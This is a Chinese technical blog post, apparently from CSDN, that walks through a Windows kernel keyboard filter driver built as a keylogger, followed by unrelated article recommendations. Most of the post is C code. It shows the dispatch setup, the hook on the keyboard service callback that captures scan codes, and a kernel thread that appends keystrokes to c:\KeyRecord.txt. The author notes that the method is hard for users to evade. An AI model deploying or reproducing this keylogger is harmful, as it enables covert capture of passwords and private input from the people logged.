利用filter driver实现键盘记录

OpenArk内核分析工具:从原理到实战的Windows安全与逆向指南 在Windows系统安全与逆向工程领域,深入理解内核机制是应对高级威胁和复杂软件分析的关键。内核是操作系统的核心,负责管理进程、内存、驱动和硬件等核心资源。其工作原理在于通过内核对象、回调机制和系统服务描述符表等数据结构,为上层应用提供运行环境。掌握内核分析技术,对于检测Rootkit、分析恶意驱动、排查系统级故障具有不可替代的价值,广泛应用于恶意软件分析、软件逆向、系统调试等场景。OpenArk正是这样一款强大的内核级分析工具,它通过直接读取内核对象管理器目录和遍历EPROCESS链表等底层方式,绕过了可 阅读详情
实现键盘记录的方法一般是用全局钩子注入进程,这种方法比较简单,网上有N多文章讨论,不过对于一个高明的程序员来说,仍然可以躲开全局钩子的拦截。而用一个键盘的过滤驱动程序来拦截按键,程序员基本不可能绕开它的拦截。这两天无聊的很,做项目不是很顺,抽了点时间写了个东西。贴在这里灌水,高手们就不要看了。 driver entry是标准的例程,我们这里注册了一些分派函数 NTSTATUS DriverEntry (     IN  PDRIVER_OBJECT  DriverObject,     IN  PUNICODE_STRING RegistryPath     ) {     ULONG i;     UNREFERENCED_PARAMETER (RegistryPath);     //      // Fill in all the dispatch entry points with the pass through function     // and the explicitly fill in the functions we are going to intercept     //      for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {         DriverObject->MajorFunction[i] = KbFilter_DispatchPassThrough;     }     DriverObject->MajorFunction [IRP_MJ_CREATE] =     DriverObject->MajorFunction [IRP_MJ_CLOSE] =        KbFilter_CreateClose;     DriverObject->MajorFunction [IRP_MJ_PNP] =          KbFilter_PnP;     DriverObject->MajorFunction [IRP_MJ_POWER] =        KbFilter_Power;     DriverObject->MajorFunction [IRP_MJ_INTERNAL_DEVICE_CONTROL] =                                                         KbFilter_InternIoCtl;     DriverObject->MajorFunction [IRP_MJ_SHUTDOWN]=KbFilter_DispatchShutdown;                                             DriverObject->DriverUnload = KbFilter_Unload;     DriverObject->DriverExtension->AddDevice = KbFilter_AddDevice;     return STATUS_SUCCESS; } 注册KbFilter_DispatchShutdown是为了在系统shutdown的时候获得通知,做些处理。 基本上所有的irp 都通过KbFilter_DispatchPassThrough传递到下层的驱动处理,一些ioctol irp也只是简单的 return一个nt status,我并不关心这些东西,需要传递的irp传递给下层驱动处理,这个filter本身基本不做任何处理,关键的部分在 KbFilter_CreateClose里面创建一个文件用于记录按键,代码如下:   RtlInitUnicodeString(&devExt->RecordFileName,L"//DosDevices//c://KeyRecord.txt");            /*NOTE:lzp--2005-4-9---            * OBJ_KERNEL_HANDLE must be set, otherwise, the zwwritefile will failed            */          InitializeObjectAttributes(&ObjectAttri,&devExt->RecordFileName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,      NULL,NULL);           //create or open the file      status=ZwCreateFile( &devExt->RecordFileHandle, FILE_APPEND_DATA|SYNCHRONIZE, &ObjectAttri, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE|FILE_SHARE_READ, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);       if (!NT_SUCCESS(status)) {       DbgPrint("ZwCreateFile failed/n");      //IoDeleteDevice(device);          return (status);      } 所有的按键都保存在这个文件中,当有按键时候,会出发中断,最终调用VOID KbFilter_ServiceCallback(     IN PDEVICE_OBJECT DeviceObject,     IN PKEYBOARD_INPUT_DATA InputDataStart,     IN PKEYBOARD_INPUT_DATA InputDataEnd,     IN OUT PULONG InputDataConsumed     )这个函数来处理按键,通过hook这个callback,实现自己的功能,我在device_extension里开了个一个缓冲区用来记录按键,每记录100个按键,写一次文件;这部分都是在KbFilter_ServiceCallback实现的 PDEVICE_EXTENSION   devExt;     devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;     ProcessScanCode(InputDataStart,          InputDataEnd,devExt);     (*(PSERVICE_CALLBACK_ROUTINE) devExt->UpperConnectData.ClassService)(         devExt->UpperConnectData.ClassDeviceObject,         InputDataStart,         InputDataEnd,         InputDataConsumed); 首先调用ProcessScanCode来记录按键,接着调用上层驱动的callback函数,把数据交给它们处理。 processscancode根据scan code转换为字符,保存在buffer中,每当记录了100个按键后,就调用 NTSTATUS StoreKeyToFile(PDEVICE_EXTENSION   devExt) { NTSTATUS status=STATUS_SUCCESS; //DbgPrint("IRQL:%d/n",KeGetCurrentIrql()); DbgPrint("Enter the StoreKeyToFile Routine/n");      devExt->KeyBuffer[index++]='/n';      KeSetEvent(&devExt->BeginWriteEvent,0,FALSE);      index=0;                return status;   } 把数据写入文件。由于此时IRQL是2(dispatch level irql),而zwwritefile只能在passive_level调用,为此专门实现了一个系统线程来做写文件的工作。系统线程在KbFilter_CreateClose 中创建: // create system thread for write key value to file      status = PsCreateSystemThread(&ThreadHandle,      THREAD_ALL_ACCESS, NULL, NULL, NULL, (PKSTART_ROUTINE) WriteThreadProc, devExt);     if (!NT_SUCCESS(status))      return status;     ObReferenceObjectByHandle(ThreadHandle,     THREAD_ALL_ACCESS,     NULL,     KernelMode,     (PVOID*) &devExt->WriteThread,     NULL);      ZwClose(ThreadHandle);          并初始化两个event:  //initialize event object          KeInitializeEvent(&devExt->BeginWriteEvent,           NotificationEvent, FALSE); KeInitializeEvent(&devExt->ExitEvent,           NotificationEvent, FALSE); 这两个event一个用于通知系统线程开始写文件,一个通知系统线程终止。每当buffer中保存了100个字符时候在storekeytofile里面就通过KeSetEvent(&devExt->BeginWriteEvent,0,FALSE)来唤醒系统线程开始写文件。系统线程代码入下: VOID WriteThreadProc(PDEVICE_EXTENSION pdx) { NTSTATUS status; IO_STATUS_BLOCK         IoStatusBlock; PVOID ThreadEvent[]= { (PVOID) &pdx->BeginWriteEvent, (PVOID) &pdx->ExitEvent, }; //DbgPrint("Enter WriteThread/n");//debug only while(TRUE){ DbgPrint("begin wait/n"); status=KeWaitForMultipleObjects(2,ThreadEvent,WaitAny, Executive,KernelMode, FALSE,NULL,NULL); if(!NT_SUCCESS(status)){ DbgPrint("error--KeWaitxxx/n"); goto exit; } if(status==STATUS_TIMEOUT){ DbgPrint("Timeout/n"); goto exit; } if(status == STATUS_WAIT_0){ DbgPrint("Begin Write/n");  KeClearEvent(&pdx->BeginWriteEvent); status=ZwWriteFile(pdx->RecordFileHandle, NULL, NULL, NULL, &IoStatusBlock, (UCHAR*)pdx->KeyBuffer, 100, NULL,//&BufOffset, NULL); if (!NT_SUCCESS(status)) { DbgPrint("Error in ZwWriteFile:%u/n",status);       }       // KeStallExecutionProcessor(100);        }else if(status == STATUS_WAIT_1){       DbgPrint("Terminate/n");       KeClearEvent(&pdx->ExitEvent);              goto exit;         //PsTerminateSystemThread(STATUS_SUCCESS);  }else{       DbgPrint("Error--thread proc/n");              goto exit;  } } exit: PsTerminateSystemThread(STATUS_SUCCESS); } 它一创建就进入一个while(TRUE)循环,调用kewaitformultipleobjects来睡眠,等待唤醒。如果是beginwriteevent唤醒的就写文件,如果是exitevent唤醒的就终止运行。 当系统shutdown的时候,可能buffer中的字符不到100个,则不会调用系统线程写文件,我本来的考虑是注册个shutdwon例程,在 KbFilter_DispatchShutdown中把所有buffer中的数据都写到文件中。但是调试后发现这个写文件的操作从来没有成功过,不知道什么原因。此外,更加诡异的是,在系统boot的时候会发送IRP_MJ_CLOSE irp给驱动,结果close例程被调用,这极其奇怪。不过好在每什么影响,没时间了,懒得debug它。 至于为什么KbFilter_DispatchShutdown写文件不成功,不知道哪位大虾了解,麻烦指教。我觉得可能是shutdwon的时候irql不是passive_level或者文件系统驱动已经在键盘驱动之前unload了。不是很清楚。
Windows 10驱动开发入门(四):USB下的过滤器驱动 果不其然,我们的`ctrl`键,被替换了。 阅读详情

相关推荐

Windows文件监控微过滤驱动开发与实现

微过滤驱动是一种先进的文件系统过滤技术,它通过在操作系统的内核层拦截文件操作,从而允许开发者监控和管理对文件系统的访问。与传统的驱动开发相比,微过滤驱动具有更好的性能、更高的可靠性和更强的可扩展性。微过滤驱动(Filter Driver)是一个底层系统组件,它通过实现文件系统的过滤功能来监控文件系统的输入/输出(I/O)操作。它工作在操作系统内核模式下,能够监听并响应各种文件操作事件,例如文件创建、读写、删除等。搭建一个高效的开发环境是微过滤驱动开发的第一步。

weixin_42592399的博客 1120

文件系统过滤驱动之文件重命名解析

转自:http://www.osronline.com/article.cfm?id=85 What's in a Name? - Cracking Rename Operations Filter Drivers are one of the many different types of NT Kernel Mode Device Drivers. A filter driver i

1566

深入WDM驱动程序开发:USB与HID技术详解

本文还有配套的精品资源,点击获取 简介:本手册章节介绍Windows Driver Model (WDM) 中关键的驱动程序开发概念,专注于USB驱动程序和HID设备模型。章节内容覆盖USB设备驱动开发、USB驱动程序接口、人工输入设备模型及HID客户与应用的交互,提供从设备枚举到数据传输再到用户模式应用交互的全面知识。对于WDM驱动程序开发感兴趣的开发者,本手册是深入学习...

weixin_42611310的博客 1435

一个简单的windows filesystem mini filter 驱动例子

代码网上都有,就讲一下解决安装问题: 1,mini filter 的安装,一开始还是项普通的 legacy driver一样,通过命令函 "sc create servicenam binPath type=kernel"发现一直报错:找不到文件;然后调整"sc create servicename binPath type=filesys";驱动可以起来,然后FltRegisterFilter失败,报错找不到对象(0xc0000034).原来mini filter driver 安装需要通过inf 文件

pureman_mega的博客 2138

华硕笔记本KB_FILTER驱动

华硕(ASUS)笔记本KB_FILTER驱动

NDIS Filter Drivers指南

Filter Drivers主要包括以下特性:   1) 一个Filter Drivers实例叫Filter Module。Filter Module附加在一个适配器的微端口驱动上, 来自相同或不同Filter Drivers的多个Filter Module都可以被堆叠在一个网络适配器上   2) 在Filter Module被安装到驱动栈时,之上的协议驱动和之下的微端口驱动都不需要提供额外的支持功能   3) 因为Filter Module不像中间层驱动(intermediate driver)那样提供一个虚拟的微口,也不与某个设备对象联结,所以在微端口适配器(miniport adapter)之上的Filter Module 功能相当于一个修过过版本的微端口适配器(miniport adapter)。(原文:Because filter drivers do not implement virtual miniports like an intermediate driver, filter drivers are not associated with a device object. A miniport adapter with overlying filter modules functions as a modified version of the miniport adapter.)   4) NDIS使用配置信息来到决定一个Filter Module附加到一个网络适配器栈上的顺序   5) 在不用拆除整驱动栈的情况下,NDIS可以动态的插入、删除Filter Module或进行重新配置   6) 当NDIS重起驱动栈的时候协议驱动可以获得在栈上的Filter Module列表   7) Filter Drivers可以过滤下层网络适配器上绝大部分的通信。Filter Module不联结某特定的绑定(Filter modules are not associated with any particular binding between overlying protocol drivers and the miniport adapter.)   8) Filter Drivers 可以选择为过滤服务也可以选择为分流的不过滤服务,选择为哪一种是可以动态配置的(Filter drivers can select the services that are filtered and can be bypassed for the services that are not filtered. The selection of the services that are bypassed and the services that are filtered can be reconfigured dynamically.)   9) NDIS 保证有效的上下文空间,也不就是说Filter Drivers不要需要通代码COPY缓冲区来获得上下文空间  

基于TI InstaSPIN-FOC 无刷电机控制板开发记录(TMS320F28027F)

硬件部分: 做了一块测试板。电机驱动部分照抄TI官方图纸,稍作修改,主控采用MC9S12exp100和28027F采用串口通信。 软件部分: 设置最大启动加速度: main.h-> MOTOR_Vars_INIT宏定义里面修改值 对应下面 typedef structMOTOR_Vars_t结构 _iq MaxAccel_krpmps CCS使用(ctrl+h 全局查找) 使用MotorWare调试观察数据步骤如下: 1、依次点击:InstaSPIN-FOC -&gt...

Lovenix 3479

两路半桥LLC谐振变换器软开关Simulink仿真(模拟谐振参数不同、分裂电容)

内容概要:本文介绍了“两路半桥LLC谐振变换器软开关Simulink仿真”资源包,重点在于基于Simulink平台对两路半桥LLC谐振变换器进行高精度建模与动态仿真,特别考虑了谐振参数不一致及分裂电容等非理想工况对系统性能的影响。该仿真模型不仅涵盖了主电路拓扑、软开关实现机制与谐振网络设计,还深入分析了不同参数配置下系统的启动特性、稳态效率、动态响应及软开关条件的满足情况。通过参数扫描与对比仿真,帮助用户掌握LLC变换器的关键设计要素与优化方法,具备较强的工程指导价值和科研教学意义。; 适合人群:电力电子、电气工程及其自动化等相关专业的高校师生,以及从事高频开关电源、新能源变换器、车载充电机等领域的研发工程师和技术人员。; 使用场景及目标:① 掌握两路并联半桥LLC谐振变换器的建模与仿真方法;② 理解软开关技术在提升变换器效率与降低EMI方面的关键作用;③ 分析谐振参数偏差与分裂电容结构对系统均流特性、增益曲线及软开关范围的影响;④ 支持科研项目中的拓扑验证、控制策略开发与故障工况分析; 阅读建议:建议结合Simulink仿真模型与配套说明文档进行学习,重点关注谐振腔参数设置、驱动时序设计及软开关波形观测;可通过调整谐振电感、电容值或引入参数失配,观察系统行为变化,深入理解LLC变换器的稳定边界与优化设计原则。

安装驱动程序(2)----安装过滤驱动

前面 安装驱动程序(1)----驱动预安装 一文讨论了总线驱动/功能驱动和单层过滤驱动的安装,本文将讨论过滤驱动的安装。可能你会觉得奇怪,过滤驱动有必要需要单独讨论吗? 答案是肯定的。1.笔者的同事,前阵子遇到一个类过滤驱动,由于某些原因安装的时候出现问题。笔者凑过去一看,inf文件仅仅提供了ClassGuid,居然没有HardwareID这一栏。而以devcon install安装需要提供ha

lixiangminghate的专栏 7453

高分辨率航拍图像的目标检测切图优化策略

本文深入探讨了高分辨率航拍图像目标检测中的切图优化策略。针对大尺寸图像直接缩放导致小目标信息丢失的问题,文章详细阐述了基于重叠切割的核心方法,包括如何根据目标尺寸确定切图尺寸与重叠率,并提供了从切图到坐标还原的完整代码实现与避坑指南,有效提升检测精度与效率。

xk7n92h3p5m的博客 1114

从智能家居到智慧城市:AI Agent Harness Engineering 作为统一控制中枢

我们可以把每个独立的智能系统看作一根带有独立功能的电线:智能家居Agent是负责家庭设备控制的电线,社区Agent是负责社区管理的电线,城市交通Agent是负责交通调度的电线,而AHE就是把这些分散的电线整合起来的「智能线束」:它不仅负责把不同接口、不同协议、不同层级的Agent连接起来,还提供统一的编排、调度、协同、观测能力,实现全局效用最大化的智能决策。

AI Agent Harness Engineering 202

驱动开发学习笔记

1、三种类型的WDM驱动程序   总线驱动程序(bus driver)   功能驱动程序(function driver)   过滤驱动程序(filter driver)2、其他分类方法   类驱动程序(class driver)   端口驱动程序(port driver)   小端口驱动程序(miniort driver)3、驱动对象(DRIVER_OBJECT)主要成员   Devic

迈克揉索芙特 3927

Visual Studio报错TRK0005找不到CL.exe?三步彻底解决环境变量问题

本文详细解析了Visual Studio报错TRK0005找不到CL.exe的根本原因,并提供了三步彻底解决环境变量问题的方案。从验证安装完整性到配置永久环境变量,再到注册表级修复,帮助开发者建立健壮的开发环境配置体系,确保编译链稳定运行。

weixin_30839881的博客 459

屏幕键盘监控技术:驱动级行为分析与企业安全实践

计算机行为监控技术通过驱动级输入捕获和行为分析引擎,实现对键盘输入、屏幕内容等操作的全维度记录。其核心原理包括键盘过滤驱动、DirectX图形接口捕获和隐马尔可夫模型算法,具有低资源占用(CPU<3%)和高准确性(F1-score 92.7%)的技术优势。在企业IT管理中,该技术广泛应用于员工行为审计和数据防泄漏场景,通过加密传输(AES-256+ECC)和分布式架构确保监控数据安全。家庭场景则侧重未成年人上网管理,结合关键词过滤和时段控制功能。值得注意的是,屏幕键盘监控专家等工具需平衡监控效率与隐私保护,

weixin_34302798的博客 364

YOLOv13涨点改进 | 全网独家创新、高效涨点改进篇 | CVPR 2024 | YOLOv13引入SHSA单头自注意力模块,减少冗余的多头注意力,轻量化改进,助力目标检测和图像分类任务高效涨点

本文提出了一种改进YOLOv13模型的新方法——SHSA(单头自注意力)模块,用于提升目标检测任务的计算效率和推理速度。SHSA通过简化多头注意力机制为单头结构,显著减少了计算冗余和内存占用。实验表明,该模块在保持精度的同时,在GPU、CPU和移动设备上分别实现了3.3倍、8.1倍和2.4倍的加速效果。文章详细介绍了SHSA的结构原理、核心代码实现方法,以及如何集成到YOLOv13的配置文件中。这种改进特别适合资源受限设备,为实时目标检测提供了更优的速度-精度平衡方案。

Ai缝合怪、助力小伙伴高效发论文 510

DeepLabv3+改进专栏

🔥【DeepLabv3+改进专栏!探索语义分割新高度】🌟 你是否在为图像分割的精度与效率发愁?📢 本专栏重磅推出:✅ 独家改进策略:融合注意力机制、轻量化设计与多尺度优化✅ 即插即用模块:ASPP+升级、解码器。

AIcurator的博客 2576

C++实现Windows全局键盘钩子:从消息循环到输入事件捕获

在Windows系统编程中,理解输入事件的处理机制是深入操作系统原理的关键。系统通过消息循环(Message Loop)来管理应用程序与用户交互,而键盘事件作为核心输入源,其捕获技术涉及底层API调用与进程间通信。全局键盘钩子(Global Keyboard Hook)技术利用SetWindowsHookEx等API,能够拦截并处理系统级的键盘消息,这对于学习系统安全、软件调试及自动化测试具有重要价值。通过DLL注入与钩子过程函数,开发者可以探究从物理中断到应用层消息的完整传递路径。本文以C++实现一个键盘

weixin_34236869的博客 367

高通平台N4单路输入的720P相机预览

N4的一路720P Camera作为MIPI摄像头使用

llw21680的专栏 165

Windows驱动编程基础(下)之过滤驱动的安装和框架概述

Windows驱动编程基础(下)之过滤驱动的安装和框架概述第六章 过滤驱动的安装和框架概述过滤驱动的概念和安装怎么找设备栈中的功能设备对象呢?如何安装过滤驱动怎么卸载这个过滤驱动呢?另一种安装过滤驱动的方法这两种安装过滤驱动方法的区别:过滤驱动框架 第六章 过滤驱动的安装和框架概述 过滤驱动的概念和安装 怎么找设备栈中的功能设备对象呢? 这就牵扯到注册表了,我们在第一部分讲过和驱动相关的注册表, 上图所选即为虚拟机中网卡的实例ID,PCI就是BusDevice,PCI下面那一堆VEN_15AD&am

zhaopeng01zp的博客 5550

基于STM32的太阳能充电宝设计_资料编号31

系统硬件包括主控 STM32F103C8T6、0.96 OLED 显示屏、蜂鸣器、电源自锁开关、温度传感器 DS18B20、继电器、5 V DC 升压模块 、TB4056、18650锂电池、9 V太阳能板、稳压降压 5 V三极管。电源供应:锂电池为系统供电,9 伏太阳能板经 5 伏降压稳压三极管降压为 5 伏后传送到 TP4056,TP4056 为锂电池供电,因锂电池电压 3.7 伏,通过 5 伏 DC 升压模块升压到 5 伏为整个系统提供 5 伏电压。

嵌入式阿齐Archie 1万+

全网最全RT-DETR涨点改进,基于官方源码1:1还原,在Ultralytics项目中配置rtdetr-r18、rtdetr-r34、rtdetr-r50、rtdetr-r101版本~小论文大论文必备

本文详细介绍了如何将RT-DETR的ResNet18/34/50/101/154版本移植到ultralytics项目中。主要内容包括:1) RT-DETR核心特点,如高效混合编码器、IoU感知查询选择等;2) 提供完整ResNet核心代码;3) 分步配置指南,包括创建模块文件和修改tasks.py;4) 各版本yaml配置文件的创建方法。该方案可帮助研究者快速实现RT-DETR改进,适用于目标检测相关论文研究。所有配置文件均可正常运行,为实验部署提供了便利。

Ai缝合怪、助力小伙伴高效发论文 3937

WDK例子之键盘过滤驱动简单总结

/*--Copyright (c) 1998. 1999 Microsoft Corporation Module Name: kbfiltr.c Abstract: Environment: Kernel mode only. Notes: --*/ #include "kbfiltr.h" NTSTATUS DriverEntry (PDRIVER_OBJE...

weixin_30795127的博客 608

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

三键屏蔽

由于三键是winlogon在启动时注册的,在原始输入线程(raw input thread)中处理的, 所以很难屏蔽 但是在2k下屏蔽三键的方法还是有不少,常见的是 1、替换GINA 2、进程注入到winlogon 这两种方法在网上已经很普遍了,源代码也可以找到,缺点是容易闪屏,而且处理比较麻烦 理论上还有不少屏蔽方法,在系统消息的各个处理界面将其屏...

diegu9287的博客 368

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

NDIS 6.0 Filter Driver 开发资料- 01

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_34194379的博客 781

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

Filter驱动:过滤(修改)接受数据包

Filter驱动可以实现简单的防火墙功能。它可以过滤所有接收到的包,然后进行分析处理,最后根据情况决定是否网上传递给Protocol层,最后给应用程。 我们的原则是不能在接收到的NBL修改数据,因为后面我们还会需要这个完整的包结构,尤其是在调用NdisFReturnNetBufferLists释放NBL的owership的时候。所以第一步要做的就是拷贝数据:拷贝NetBufferList数据 ...

※一路风尘※ 1195
上一篇: win2k下的APC机制
下一篇: hook未导出native api的好办法
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值